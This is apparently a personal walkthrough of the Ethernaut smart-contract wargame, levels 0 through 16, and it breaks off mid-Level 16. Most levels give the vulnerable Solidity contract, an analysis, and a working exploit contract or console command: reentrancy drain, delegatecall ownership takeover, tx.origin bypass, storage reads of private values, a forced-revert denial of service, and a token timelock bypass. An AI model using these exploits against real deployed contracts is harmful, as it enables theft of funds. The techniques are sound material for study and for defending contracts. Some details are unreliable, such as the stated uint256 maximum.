# Ethernaut Notes
## Level 0 - Hello Ethernaut
All actions can be done in console.

Calling `await contract.info()` will ask user to call `contract.info1()` next.

Then call `info2("hello")`.

Thing is, the property is also a function, I guess. So, call `await contract.infoNum()`
And this function yields an object, which then contains an array of `[42, null]`

Then call `info42()`


No hint saying where the password can be found, might as well call `contract.password()`

### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
```
`keccak256` is a SHA-3 standard. The interesting thing is how accessing a property in contract is done by calling function.
> If your settings are correct, anything that you define as public, the solidity will assign a getter function.
## Level 1 - Fallback
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
```
### Analysis
> A contract can have at most one fallback function, declared using either fallback () external [payable] or fallback (bytes calldata input) external [payable] returns (bytes memory output) (both without the function keyword). This function must have external visibility. A fallback function can be virtual, can override and can have modifiers.
>
>The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable.
In this case, `receive` is the fallback function. The fallback function is like a default function, it handles situiations where no function name or data is provided in the transaction.
In this level, when player use `web3.eth.sendTransaction(data)` function to send ether to contract, since no function call and data is provided, it will trigger the fallback function. The fallback functions checks if the ether sent in message is greater than 0 and if sender's contribution is greater than 0.
The solution is to use `contract.contribute.sendTransaction(data)` to increase the contribution so that the copntribution value will be greater than 0. Next is to send a straight transaction to contract, and `receive` will be invoked, makes sender (which is the player) the contract owner.
And finally the player can call `withdraw()` to take all ether to player's account.
The transaction data follows the format of:
```json=
{
from: player,
to: contract.address,
value: toWei("0.000001")
}
```
Since in `contribute()` the `require` keyword asks ether value to be less than 0.001 ether, so there's that.
### Solution
```javascript=
// initialize transaction data
var data = {
from: player,
to: contract.address,
value: toWei("0.000001")
}
// contribute so that contract.contributions[player] > 0
await contract.contribute.sendTransaction(data)
// send direct transaction to invoke `receive()` and become owner
await web3.eth.sendTransaction(data)
// withdraw all ether as owner
await contract.withdraw()
```
## Level 2 - Fallout
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
```
The goal of this level is to claim owner of the contract. The actual solution turns out to be fairly easy.
### Analysis
After reviewing the code for fair bit, nothing looked interesting. But the constructor function `fal1out`, is just a normal function which is accessible by anyone. And it doesn't have any modifiers. The constructor function is kinda removed after solidity 0.4.22, and a 'correct' way to construct a constructor is to use the `constructor()` keyword. Refer to level 1 source code's constructor part. And the old way of declaring constructor, the name of function has to have the same name of the contract, i.e, in the level, the contract is called Fallout, and the constructor should have the name `Fallout`, too. But instead, the name of constructor is `Fal1out`, which makes the compiler think it's just a normal function instead of a constructor. Thus just by call the function will make whoever calls it the owner of contract.
### Solution
```javascript=
await contract.Fal1out.sendTransaction({value: toWei("0.00001")})
```
## Level 3 - Coin Flip
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
```
### Analysis
Basically, the entire contract does one thing: it calculates a random number and lets the user to guess the result. To clear this level, user needs to win consectively 10 times.
The problem lies in `flip` function. Where all the operations doing the final result, uses fixed numbers, moreover, all those numbers can be accessed on the client side. To exploit this loophole, only needs to rewrite the `flip` function, derive the result and submit the result via `flip` function. Doing this for over 10 times will let us clear the level.
### Solution
I feel like the solution is more of 'how to write an exploit contract'.
First create an exploit contract:
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./coinFlip.sol";
contract exploit{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip public target;
constructor(address _targetAddr) public {
target = CoinFlip(_targetAddr);
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = uint256(blockValue / FACTOR);
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
```
I basically only copied `flip` function and modified it a bit. To initialize this exploit, I need to first connect to the address which is running the contract, then with the `flip` function, I will be able to get the correct result, and then call original contract's `flip` function to do transaction.
Then, compile the contract in RemixIDE, select injected provider because I'm using Metamask. Deploy my exploit contract with level's contract address, call the `flip` function in the exploit contract, after seeing transcation being successful, go back to Ethernaut's page and run:
```javascript=
await contract.consecutiveWins()
```
will yield consective wins user currently has.

When result is 10 or above, submit instance and clear the level.
## Level 4 - Telephone
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
```
### Analysis
The goal of this level is to claim ownership, again. However, contract provided is pretty short. And the only key function is obvious: `changeOwner`. Thing is, it checks if the transaction origin and the message sender is from the same address.
I was confused at the beginning, not sure what's the difference between a tranasction origin and the message sender. Then I remembered the contract I deployed in the last level, where I did send the transaction, as my account, but the transaction should be made from the contract address I deployed. Then I assume this is the key to beat this level.
First, create a contract just like the one from last level. This contract does basically nothing, but as a proxy. We use this contract to make sure the transaction origin is different from message sender.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./telephone.sol";
contract telephoneExploit{
Telephone public target;
constructor(address _targetAddr) public {
target = Telephone(_targetAddr);
}
function changeOwner(address addr) public {
target.changeOwner(addr);
}
}
```
The rest is similar, deploy the contract, call `changeOwner`, and check for ownership on Ethernaut side. Then submit the instance to clear the level.

## Level 5 - Token
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
```
### Analysis
The first thing I've noticed was there is no `SafeMath` library imported, and there may potentially be an integer overflow problem. Then I looked up some solidity documentation, and seeing `uint` is an alias for `uint256`, then I can construct an overflowed integer which makes `balances[msg.sender] - _value` to overflow the max value of `uint256` and becomes a negative number.
The max size for `uint256` is `2 ^ 32 - 1`, and when doing `uint` arithmatics, what it's doing is pretty similar to modular arithmatic. According to the prompt, the initial token given to player is 20. When the play supply a `_value` which can result `(20 - _value) mod (2 ^ 32 - 1) >= 0`, the check will be bypassed. Basically saying, just make the result to be negative, then the modular result will be overflowed.
### Solution
```
await contract.transfer(contract.address, 30) // makes balances[msg.sender] - _value overflow
await contract.balanceOf(player)
```

## Level 6 - Delegation
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
```
### Analysis
The key of this level is the `delegatecall` keyword. `delegatecall` allows a contract A to call another contract B's function in A's context. In this case, when directly sending ether to conrtact `Delegation` will trigger fallback function, which then calls `delegate`'s function based on `msg.data`. If `msg.data` is set to a function signature of `pwn()`, it will call `pwn()` from contract `Delegate`, which then changes the owner of contract to message sender. However, it will be done in `Delegation`'s context, which will change `Delegation`'s owner instead.
### Solution
```javascript=
await web3.eth.sendTransaction({from: player, to: contract.address, data: web3.eth.abi.encodeFunctionSignature("pwn()")})
```
Low level transaction requires data to be in hex, so it's needed to encode `pwn()` in Etherum's way, one mannual way is to encode it with SHA3, or call `web3.eth.abi.encodeFunctionSignature()`.
## Level 7 - Force
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
```
### Analysis
Based on the hints given on this level, it's testing how to send transaction or give ether to a contract which doesn't provide any ways to receive transactions. This scenario, I need to forcely send ether by using `selfdestruct` function provided by solidity.
> Forcibly sending ether to another contract is when one contract does a selfdestruct(otherContractAddress). This will send the remaining balance of the original contract to the other contract’s address.
In contract A and contract B, contract B does not provide ways to receive ether, and contract A is controlled by attacker. By calling `selfdestruct`, contract A will be destructed, and it's remaining balance will be sent to contract B's address.
### Solution
Craft a new contract which does `selfdestruct` and send balance to target contract's address.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./force.sol";
contract ForceExp{
Force public _force;
constructor (address addr){
_force = Force(payable(addr));
}
function exploit() public payable{
require(msg.value > 0);
address payable addr = payable(address(_force));
selfdestruct(addr);
}
}
```
When using RemixIDE, make sure the message value is greater than 0, otherwise execution will fail and hence transaction will not be sent.
## Level 8 - Vault
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
```
### Analysis
In solidity, `private` is not really private in normal OOP senses. Variables are stated with `private` is still accessible in the blocks, but the variables cannot be accessed or modified outside the contract it's declared.
Also, for local variables, structs, solidity stores them in storage, and storage is accessible to public. By using web3's `web3.eth.getStorageAt()`, I can access all local variables in contract `Vault`. Since `password` is the second declared variable, it should be in the second index of storage. Storage index starts with 0, so in this context, `password` will be at index 1.
### Solution
```javascript=
await contract.unlock(await web3.eth.getStorageAt(contract.address, 1));
```

## Level 9 - King
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
```
### Analysis
In order to beat this level, we need to send ether which is more than the prize amount. Then we will be king.
When submitting the instance, the level will try to reclaim `King` again, sending an amount of ether greater than the prize, and in return, we will receive the original prize amount of ether.
The trick is, `transfer` is kinda unsafe, because when it's encountering errors, it will throw an error without notifying contract or reverting the transaction. At the end of level, when contract is reclaiming `King`, it will send the prize back to our account. If we construct a malicious contract, and setup a fallback function just to revert all incoming transactions, the level contract will encounter an error and stop executing. And we get to keep the `King`.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./king.sol";
contract KingExp{
constructor(address _addr) public payable{
(bool success, ) = address(_addr).call{value: msg.value}("");
require(success, "Call failed");
}
fallback() external payable {
revert();
}
}
```
To check the amount of current prize, use the call from last level:
```
await web3.eth.getStorageAt(contract.address, 1);
```

We need to send ether which greater than this amount.
Initialize this exploit contract with `msg.value` to be `1000000000000001`, which only is 1 wei greater than the original prize amount. Then the attack should work. By checking:
```
await contract._king()
```
we will see `king` is now the exploit contract we deployed. Try submitting the level, and the level will try to reclaim `king`, and it will fail because we tell the exploit contract to revert all incoming transactions.

## Level 10 - Re-entrancy
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
```
### Analysis
The problem here is, `msg.sender.call` doesn't check if the target is payable. It's possible that `msg.sender` is a contract address instead of EOA, and it can result a re-entrancy attack. The recommand practice is `check-effect-interaction` pattern, which suggests to check for address type and balance value first, then do the balance subtraction, finally the actual transaction call.
The theory of re-entrancy attack in this level is quite simple. We setup an exploit contract, and give it a fallback function like this:
```solidity=
fallback() external payable{
if (address(target).balance() != 0){
target.withdraw(amount);
}
}
```
First, we call `withdraw` as exploit contract manually, then it will trigger `(bool result,) = msg.sender.call{value:_amount}("");` in victim contract's `withdraw` function, which sends a transaction to our exploit contract, which then triggers `fallback` function, and exploit contract calls `withdraw` again... Eventually all ethers in victim contract will be taken out by our exploit contract.
### Solution
The concept is not as hard, but in practice, the attack is kinda hard to carry out. It took me multiple tries to successfully exploit re-entrancy vulnerability in this level.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './re-entrancy.sol';
contract ReentranceExploit{
Reentrance public target;
address public owner;
constructor(address payable _addr) public {
target = Reentrance(payable(_addr));
owner = msg.sender;
}
function exploit() external payable {
target.donate{ value : msg.value }(address(this));
target.withdraw(msg.value);
}
function withdraw() external {
uint256 balance = address(this).balance;
(bool success, ) = owner.call{value: balance}("");
require(success, "withdraw failed");
}
fallback() external payable{
if(address(target).balance != 0){
if ( msg.value > address(target).balance){
target.withdraw(address(target).balance);
} else {
target.withdraw(msg.value);
}
}
}
receive() external payable{
if(address(target).balance != 0){
if ( msg.value > address(target).balance){
target.withdraw(address(target).balance);
} else {
target.withdraw(msg.value);
}
}
}
}
```
The reason for both `receive` and `fallback` is, if I don't do that, RemixIDE will yell at me, it's a warning not an error, but whatever. I tried many times, but in the end, they all failed. So I went to Etherscan to look for transaction details, and I realized it failed due to gas being too low. So I increased the donation value and withdraw amount, to make the recursive call less to save some gas.

After that, it worked and I took all the ether.

## Level 11 - Elevator
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
```
### Analysis
This level mainly tests `interface`. In contract `Elevator`, there is only one function `goTo`. It checks if the floor in parameter is the last floor, if not, continue and let `top` be the result of `isLastFloor()`. And the key to solve this level is here. Make sure `top` is true.
We are also given an interface `Building`, if you are familiar with languages like Java, then it will be easier to understand. Essentially, we need to build an attack contract which implements this interface `Building`, and when we are calling `goTo` function in `Elevator` contract, it will somehow make `top` true.
I didn't check other people's solution, but for the sake of "solving problem", I overrode `isLastFloor`, and makes the function returns `false` on the first access, and `true` on the second access. This way, it will pass the first if check, and also make the second call on `isLastFloor` return true.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './elevator.sol';
contract myBuilding is Building{
uint public cnt = 0;
function attack(address _addr) public {
Elevator elevator = Elevator(address(_addr));
elevator.goTo(2);
}
function isLastFloor(uint _floor) override external returns (bool){
_floor += 1;
if (cnt == 0){
cnt += 1;
return false;
} else {
return true;
}
}
}
```
The code should be fairly easy to understand.
## Level 12 - Privacy
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
```
### Analysis
This level is labeled with 4 stars in difficult, but way easier in my opinion. The goal of this level is to unlock this contract, which is to say, make the variable `locked` to be `false`. The contract has provided a function to unlock, but it requires the attacker to know the key value. Also, there are some type casting and conversions here and there.
Other than `locked`, `ID`, all other state variables are private. However, from early levels we know though labeled with private, the variable is still stored in contract storage. And there is one thing to know, variables like `bytes32` types will have to stored in storage.
In constructor, the parameter passed in is with `memory` keyword, indicating the argument should be stored in memory. Thing is, all function arguments are stored in memory anyway, so this statement is redundent.
To get values in storage, we can call `web3.ethgetStorageAt(<contract address>, index)` in web3js. This way, we will get `data[2]`'s value and clear the level.
### Solution
We need to find the data we want in storage:

This screenshot is done after I beat the level, so the first variable, `locked` should be false, which is 0, as expected.
Then the second index, we have `0x633453fd`, which is `1664373757` in decimals, and by observing the contract, it should be the value of `block.timestamp`. Using python to convert this epoch time value to human-readable timestamp, which yields `datetime.datetime(2022, 9, 28, 22, 2, 37)`. Looking at the block of contract creation's transaction at:

which checks out if the timezone stuff is counted in.
Then the next index, we have `0x53fdff0a`. We are expecting `10`, `255`, and `uint16(now)`. By looking at the last byte, we see `0x0a == 10`, and the before byte `0xff == 255`, and the 2 bytes from left, which is 16 bits just like the contract declared.
Then, index 3, 4, 5 should be the value `bytes32[3] data` at. Since `unlock()` checks `data[2]`, we just need to grab the last 32 bytes in storage and convert it to bytes16 to solve the level.
Eventually I wrote an attack contract to help me with the conversion things to save time:
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./privacy.sol";
contract PrivacyExp{
Privacy public p;
bytes16 key = bytes16(bytes32(0x64db49c6712bb93a4ab21629ad03551b0d6ad3b494b807776bb99e5a8db6564d));
constructor(address _address) public{
p = Privacy(_address);
}
function exploit() public{
p.unlock(key);
}
}
```
Deploy the contract to the network, and call `exploit()`. Then the level is solved.

## Level 13 - Gatekeeper One
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts@3.4.0/math/SafeMath.sol";
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
```
### Analysis
We need to pass 3 checks in contract's `modifier` to clear this level. The first being `msg.sender != tx.origin`, which can be done using an exploit contract published to the network. The second, `gasleft() % 8191 == 0`, which is pretty hard to achieve, can be done with some bruteforcing. The third, which requires some basic understanding on tpe casting in solidity.
To pass the second check, my first attempt was to run a function recursively like this:
```solidity=
function exploit(uint256 amount) public {
bool success = target.enter{ gas: amount }();
if (!success){
amount -= 1;
exploit(amount);
}
}
```
and it turns out max stack is reached and so the transaction failed. But we are on the right track, and with for loop, it should do the job.
For the third check, the first thing we need to know is: what is `tx.origin`. If we are doing all of those in a contract we publish, then the `msg.sender` will be the contract's address, and `tx.origin`, will be the one initiated the transaction, which is the player's address. There are three conditional checks in this `gateThree`:
- `uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)`
- `uint32(uint64(_gateKey)) != uint64(_gateKey)`
- `uint32(uint64(_gateKey)) == uint16(tx.origin)`
My player address ends with `0x594c`, and that's `uint16(tx.origin)` we wanted. We also need to make sure `uint32(uint64(key)) == 0x594c`, which then implies the last 4 bytes should be `0x0000594c`. The rest is to make sure `uint32(uint64(key)) != uint64(key)`, ideally, `0x100000000000594c` should just work, but for some weird reason it keeps failing. But `0x123456780000594c` works just fine.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./gatekeeper.sol";
contract GatekeeperOneExp{
GatekeeperOne public target;
bytes8 public key = bytes8(0x123456780000594c);
constructor(address _address) public {
target = GatekeeperOne(_address);
}
function exploit() public {
uint amount = 819300;
for (uint256 i = 0; i < 1000; i++){
(bool success, ) = address(target).call{ gas: amount }(abi.encodeWithSignature("enter(bytes8)", key));
if (success){
break;
} else{
amount -= 1;
}
}
}
}
```
And now, let's talk about the weird thing in crafting `_gatekey`. I even wrote a test contract to see how things are done.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts@3.4.0/math/SafeMath.sol";
contract Test{
bytes8 public key = bytes8(0x111100000000594c);
uint64 public key64 = uint64(key);
uint16 public key16 = uint16(key64);
uint32 public key32 = uint32(key64);
uint16 public ori16 = uint16(msg.sender);
}
```

We see, it works just fine... and as expected. But when running the actual exploit contract, it just fails. But at this point I don't feel like digging more, so that's that.
## Level 14 - Gatekeeper Two
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
```
### Analysis
There are three gates, again. And I have to say, I proably can't solve without looking at writeups online.
`gateOne` is just the same as the last level, nothing to say.
`gateTwo` have some inline assembly involved, but it's quite simple to understand, and to be fair, it doesn't even need any EVM assemly language knowledge. It assigns `x` to be the value of `extcodesize` of the `caller()` address. Basically saying, it requires whoever calls it have the EVM byte code size to be 0. The key to solve pass this requirement is: in the constructor of a contract, since code is not loaded in memory, thus the code size will be zero. Long story short, just do everything in the constructor then we will be fine.
`gateThree` requires the argument passed in match the value of `uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1`. And we have `key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1)`. And that concludes the solution.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./gatekeepertwo.sol";
contract GatekeeperTwoExp{
constructor(address _address) public {
GatekeeperTwo target = GatekeeperTwo(_address);
uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1);
target.enter(bytes8(key));
}
}
```
## Level 15 - Naught Coin
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
```
### Analysis
This contract is implementing a contract interface `ERC20`. And it inherits all function declares in `ERC20`. The key to beat this level is to bypass the 10 year timelock `lockTokens`.
This modifier only calls `require` when sender is exactly player. We can create an attack contract on network, and call `transfer` to send all tokens to the contract address we own.
When setting up my contract and performing those attack procedures, I noticed RemixIDE keeps telling me that transactions may fail because amount exceeds balance. Then I learned that in `ERC20`, there is a `allowance` and a `approve` function:
```solidity=
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
```
By calling `approve(<evil contract address>, contract.totalSupply())`, in player's context, it will change the amount of player can transfer. Since we need to transfer out all the supply without calling `transfer`, we can exploit `transferFrom` to send money to our evil contract address. And when the value doesn't exceed `allowance()`, `transferFrom` call will succeed.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./naught_coin.sol";
contract NaughtCoinExp{
NaughtCoin public target;
constructor(address _address) public {
target = NaughtCoin(_address);
}
function exploit() public {
target.transferFrom(msg.sender, address(this), target.totalSupply());
}
}
```
Deploy this attack contract first, then run the following code in Ethernaut's console:
```
await contract.approve(player, await contract.totalSupply())
```

Then, call `exploit()` in our attack contract, and boom!

## Level 16 - Preservation
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
```
### Analysis
So, from early levels, we know variables are stored in storage, and we can access them by calling `await web3.eth.getStorageAt(contract.address, 0)` and such.
We also know that, when doing `delegatecall`, the state change is happening in caller contract's context. We see `LibraryContract` only has one state variable `uint storedTime`, and it should be stored at index 0 in storage. Then, there is this interesting thing in solidity I guess; when doing state change, it's changing the index of delegate contract's index. To make this sound clear, when calling `setFirstTime(0xcafebabe)`, it will change `uint storedTime` variable, and at index 0 of storage in caller, which is `Preservation`'s context, it's `timeZone1Library`. So, in the end, `timeZone1Library` variable will have the value of `0xcafebabe` instead of index 3, where `storedTime` should be.
We can only mess with variable stored at index 0, tho. But what if, we construct a contract, and first change `timeZone1Library` to this contract's address. And in our contract, we do something like this:
```solidity=
function setTime(uint256)public {
owner = msg.sender;
}
